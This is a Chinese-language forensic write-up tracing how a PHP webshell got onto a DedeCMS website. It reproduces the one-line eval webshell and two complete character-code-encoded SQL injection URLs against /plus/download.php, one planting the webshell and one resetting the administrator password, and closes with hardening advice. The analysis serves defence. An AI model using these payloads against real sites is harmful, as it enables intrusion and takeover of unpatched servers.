客户一个网站,木马查杀过程发现被上传了木马文件,木马文件究竟是如何来的?通过针对日志分析找到了原因,整理成此文,希望对一些建站朋友能够有用。
收集信息:
查看了一下laobiao.php文件内容:
<?php $FucKSafedogX=base64_decode;$jc=$_POST[x];eval($jc);?>axx
很明显一句话木马;
2.查看laobiao.php文件生成时间:2016年10月23日 16::23:48
【注意】Windows主机:使用FTP客户端只能查看到文件的最后修改时间,查看生成时间需要登录服务器右键属性查看。(如果使用虚拟主机向系统管理员寻求帮助)
二、追查木马来源:
查看FTP日志:判断是否由FTP密码泄露导致;
查看10月22、10月23、10月24日前后三天日志,未发现FTP账号登录记录,排除FTP途径;
IIS自带的FTP日志路径:C:\WINDOWS\system32\LogFiles\MSFTPSVC1
【建议】FTP密码一定要健壮,一般虚拟主机都提供FTP开关功能,原则:使用的时候开启,不使用的时候关闭。很多人因为怕麻烦,密码设置的又简单,容易被暴力破解而导致网站被侵入挂马;
查看IIS日志:
首先查看10月23日IIS访问日志:
搜索:laobiao.php
2016-10-23 08:23:48 W3SVC220 192.168.1.5 POST /plus/laobiao.php - 80 - 14.111.122.77 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/27.0.1453.93+Safari/537.36 200 0 0 119 361 125
这里可看到IP:14.111.122.77 在2016年10月23日 16:23:48【注意:日志记录时间与实际时间相差8小时,因此加8后就是16:23:48】使用POST方式访问了/plus/laobiao.php页面,访问状态为200,说明此时文件已经存在,而且与文件生成时间相吻合;
根据访问IP进行搜索:
搜索14.111.122.77这个IP在10月23日当天所有访问记录,然后将该部分记录截取出来进行分析【日志记录太多,截取出来减少干扰内容】:
从上图可看出进行了多次尝试,最终在第18、19行访问后生成了laobiao.php文件,第18行内容如下:
/plus/download.php?open=1&c=d&arrs1[]=99&a=b&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=32&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=61&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=108&arrs2[]=97&arrs2[]=111&arrs2[]=98&arrs2[]=105&arrs2[]=97&arrs2[]=111&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=36&arrs2[]=70&arrs2[]=117&arrs2[]=99&arrs2[]=75&arrs2[]=83&arrs2[]=97&arrs2[]=102&arrs2[]=101&arrs2[]=100&arrs2[]=111&arrs2[]=103&arrs2[]=88&arrs2[]=61&arrs2[]=98&arrs2[]=97&arrs2[]=115&arrs2[]=101&arrs2[]=54&arrs2[]=52&arrs2[]=95&arrs2[]=100&arrs2[]=101&arrs2[]=99&arrs2[]=111&arrs2[]=100&arrs2[]=101&arrs2[]=59&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=61&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=59&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=97&arrs2[]=120&arrs2[]=120&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=32&arrs2[]=61&arrs2[]=51&arrs2[]=32&arrs2[]=44
实质上访问如上链接:字段插入数据,见下图:
然后再访问第19行所示页面链接:/plus/ad_js.php?aid=3&nocache=1就会在plus目录生成【laobiao.php】文件;
【总结说明】至此木马文件laobiao.php的来源已经搞清楚了,后证实该网站还可直接通过访问特殊链接【更改管理员密码】危害也较大(后续有说明),在此过程中进行了大量测试,由于篇幅就不多写了,过程中的技巧说明一下:
上边提到的插入数据库访问链接,经过大量测试发现后期执行均不成功,网络上搜索了一下有人说如果执行成功过,后期就不会成功,可以通过变换aid【链接中倒数第三个arrs2[]的数值】来测试,测试更改后仍不成功;
【*_safe.txt文件】测试过程dedecms显示如下:按道理说应该是打了补丁比较安全的,不清楚第一次为什么会成功。
Safe Alert: Request Error step 2!
此时会在data目录中类似*_safe.txt文件中记录访问的记录,后续的访问均会记录,查看之前的*_safe.txt文件内容,当时没有上述链接的记录,因此判断可能第一次会成功,后续不会再成功。
如上图所示,记录中会显示出执行的sql语句,也是以此最终判断木马文件生成的方法的。
内容如下:
/plus/download.php?open=1&c=d&arrs1[]=99&a=b&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=32&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=61&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=108&arrs2[]=97&arrs2[]=111&arrs2[]=98&arrs2[]=105&arrs2[]=97&arrs2[]=111&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=36&arrs2[]=70&arrs2[]=117&arrs2[]=99&arrs2[]=75&arrs2[]=83&arrs2[]=97&arrs2[]=102&arrs2[]=101&arrs2[]=100&arrs2[]=111&arrs2[]=103&arrs2[]=88&arrs2[]=61&arrs2[]=98&arrs2[]=97&arrs2[]=115&arrs2[]=101&arrs2[]=54&arrs2[]=52&arrs2[]=95&arrs2[]=100&arrs2[]=101&arrs2[]=99&arrs2[]=111&arrs2[]=100&arrs2[]=101&arrs2[]=59&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=61&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=59&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=97&arrs2[]=120&arrs2[]=120&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=32&arrs2[]=61&arrs2[]=51&arrs2[]=32&arrs2[]=44|| INSERT INTO `dede_myad` SET normbody='<?php file_put_contents(''laobiao.php'',''<?php $FucKSafedogX=base64_decode;$jc=$_POST[x];eval($jc);?>axx'');?>' where aid =3 ,downloads`(`hash`,`id`,`downloads`) VALUES('******d98f00b****9800998ec******','0',1); ||unusual character
【更改管理员密码】虽然后续无法使用如上链接再次生成木马文件,但是此网站同样可以通过访问特殊链接更改管理员密码:
/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
虽然访问后仍然显示:Safe Alert: Request Error step 2!而且*_safe.txt文件中也会记录,如下:
/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35|| INSERT INTO `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #downloads`(`hash`,`id`,`downloads`) VALUES('****d98f00b204e9800998ecf84***','0',1);||comment detect
但是经过测试确实可以修改管理员密码为:spider admin
【md5密码说明】dedecms的密码20位字串,可通过后剪1位,前剪3位得到16位md5加密密文,例如:f297a57a5a743894a0e4 得到16位md5:7a57a5a743894a0e
【dedecms版本】该网站dedecms版本:
data\admin\ver.txt中查看:20160906
/include/common.inc.php文件中:$cfg_version = 'V57_UTF8_SP1';
由此可知该网站版本为:V57_SP1版本,更新日期为:20160906【也不作为唯一判断依据,不一定是那个版本的。】
后来下载了最新版的dedecms版本:20160928 V57_UTF8_SP1,测试访问上述两条链接均不成功。不显示【Safe Alert: Request Error step 2!】而且也没有*_safe.txt文件生成。因此建议升级为最新版。
【最后关于网站安全的一点建议】其实大家都知道dedecms之前爆出了很多的漏洞致使很多网站被侵入挂马篡改等,虽然dedecms也不断出补丁进行修复漏洞,为什么还会有很多网站中招呢?究其原因,最重要的无非【没有安全意识】,其实最最重要的就是提高【安全意识】,最后给出几点建议:
密码健壮:杜绝弱口令,防止暴力破解;通过FTP弱口令、后台登录弱口令侵入的不在少数。
勤管理,勤打补丁:要能及时发现问题,及时处理问题,遇到过很多网站被侵入后发现的时候已经是大半年之后了,有些日志已经都删除掉了,没办法追查具体来源;一旦网站被挂马一定要明白大多数所谓的【挂马】是通过【木马】文件进行的一个动作,也就是通过【木马】文件进行篡改网站文件来【挂马】的。很多人在网站被篡改后只是将页面修复,删除插入的恶意链接之类,但是并没有清除木马文件,而导致【挂马】频繁发生。因此一定要清理挂马代码,清理木马后门文件,两个步骤走。当然,最好是能修复漏洞杜绝后患。
具体到dedecms建议更改后台登录目录名称、打上最新补丁,参照官方提供的一些安全措施进行处理。
安全设置一个重要原则,【可写目录不可执行脚本,可执行脚本的目录不给写权限】,可根据程序具体情况设置。
千万不要怕麻烦,勤备份,有备才能无患。